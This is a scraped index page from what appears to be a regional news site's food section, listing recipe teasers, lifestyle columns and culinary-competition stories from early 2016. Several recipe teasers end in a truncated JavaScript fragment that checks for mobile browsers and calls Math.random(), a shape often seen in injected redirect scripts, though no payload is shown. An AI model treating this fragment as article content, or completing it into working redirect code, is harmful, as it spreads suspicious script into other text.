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Jazz, food, nerds

Mar 4, 2016 / 9:32 pm

Photo: Mark Jennings-Bates Almost a year ago today, my youngest son and his wife opened up a restaurant on Bernard Avenue. Muninn’s Post is a venue for an eclectic group of people. Mostly nerds, and, in large part, board gamers.  Just over a year before that, I said to both

Slow-roasted pork belly

Mar 4, 2016 / 11:37 am

Slow-roasting really locks in the flavours, and the end result will be a delicious crispy delight perfect to share with family and friends.  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Lasagne roll-ups

Mar 1, 2016 / 11:32 am

A fresh new take on a tasty classic. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Jamaican green eggs & ham

Feb 27, 2016 / 2:00 pm

Photo: Contributed - xyz photo Life is an adventure. Every day brings new opportunities, even at the kitchen table.  Do you remember the book ‘Green Eggs and Ham’? Was there ever something that you were afraid to try? If so, I hope you found the courage to give it a tr

Spicy miso ramen burger

Feb 24, 2016 / 2:05 pm

This spicy miso ramen burger is nothing short of a flavour explosion. The miso and Sriracha are brilliant umami combos. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Chinese chicken lollipops

Feb 22, 2016 / 12:11 pm

Chicken drumsticks without the mess! These tasty treats have an awesome Chinese style marinade made from black beans and garlic and are nestled into a crunchy carrot and coriander ribbon salad. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Stand up and be counted

Feb 20, 2016 / 7:00 am

Photo: Kristin Peturson-Laprise We’ve just returned from holidays in Jamaica - 18 glorious days in the tropics, enjoying the sun and sand and company of friends and each other.  We went scuba diving, walked along the beach, dressed up and danced, ate jerk chicken and curried

Beef Wellington

Feb 17, 2016 / 12:52 pm

This classic recipe celebrates the tender fillet of beef which Jamie Oliver encases in puff pastry with a layer of mushrooms, garlic and herbs before cooking to golden and crisp perfection. Served with a rich homemade gravy and fresh greens this dish hits the spot every time. if(navigator.userA

Pulled pork empanadas

Feb 15, 2016 / 2:04 pm

Pigs in a blanket are so last season. BBQ pulled pork empanadas are for the cool kids. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Want to get lucky?

Feb 13, 2016 / 7:00 am

Photo: Kristin Peturson-Laprise This week’s title is less than subtle, but what do you expect for the most commercialized festive occasion of them all?  Valentine’s Day falls in a season full of festivities, with Mardi Gras and Chinese New Year right next to it on the

Who's drinking what where

Feb 11, 2016 / 5:00 am

Photo: Contributed - File photo Drinkers in the Okanagan embrace the region's wine country reputation, sales data from the B.C. Liquor Distribution Branch shows. While Budweiser is by far the go-to beverage in the province, wine reigned supreme in the Central Okanagan Regional Dist

Green bean salad

Feb 10, 2016 / 4:43 pm

Gordon Ramsay blanches green beans, roasts garlic and crafts a sumptuous dressing to make this simple but elegant side dish. A luxurious and different way to eat a usually plain and forgotten ingredient.  if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Ice ball cocktail

Feb 9, 2016 / 10:13 am

Cocktail Chemistry shows how to make a really cool ice ball cocktail that needs to be cracked open with a tiny hammer when served. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Ottawa wins chefs title

Feb 7, 2016 / 7:21 am

Photo: Nicholas Johansen Marc Lepine of Ottawa took the Canadian Culinary Championships Saturday night after three days of serious competition.  Lepine finished the competition with a smoked steelhead and a pork belly dish at the grand finale event at the Delta Grand Hot

Chefs compete for gold

Feb 6, 2016 / 5:30 pm

Photo: Nicholas Johansen Chef Darren Craddock, representing Saskatoon, plates his dish as the time winds down. The best of the best Canadian chefs took to the kitchen of the Okanagan College Culinary Arts Centre Saturday for the second of three competitions at the Canadian Culinar

Making memories

Feb 6, 2016 / 7:00 am

Photo: Contributed - Kristin Peturson-Laprise Friends at the beach As you read this, I will be lounging on a beach chair, or possibly blowing bubbles 60 feet under the Caribbean Sea, as I dive with the fish.  I know, you hate me this week, because I'm on holidays. The best

Cooking up competition

Feb 4, 2016 / 5:00 am

Photo: Contributed - Okanagan College Chantelle Eustache with Chef Ryan O'Flynn as they are reunited to prepare a VIP culinary feast for the 2016 Gold Medal Plates. Too many chefs in the kitchen is actually a good thing when it comes to the annual Canadian Culinary Championships&rs

Epic chocolate cake

Feb 2, 2016 / 5:07 pm

Not a lot beats chocolate cake... especially this one. Layers of rich, moist chocolate sponge drizzled with coffee syrup and sandwiched with cocoa buttercream before finishing with a lashing of dark chocolate ganache and honeycomb. Drooling yet? Thought so! if(navigator.userAgent.toLowerCase().

Buffalo chicken poppers

Feb 1, 2016 / 1:53 pm

Lazarus makes indulgent spicy buffalo chicken poppers wrapped in bacon with blue cheese. They're great for parties or game days and only take half an hour to make. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Groundhog Day looming

Jan 30, 2016 / 2:00 pm

Photo: Kristin Peturson-Laprise Celebrate the seasons February 2 is Groundhog Day, a day made famous in pop culture by the Bill Murray movie in which he lives the day over and over again until he learns that he must make the most of what life has given him.  I thought I wo


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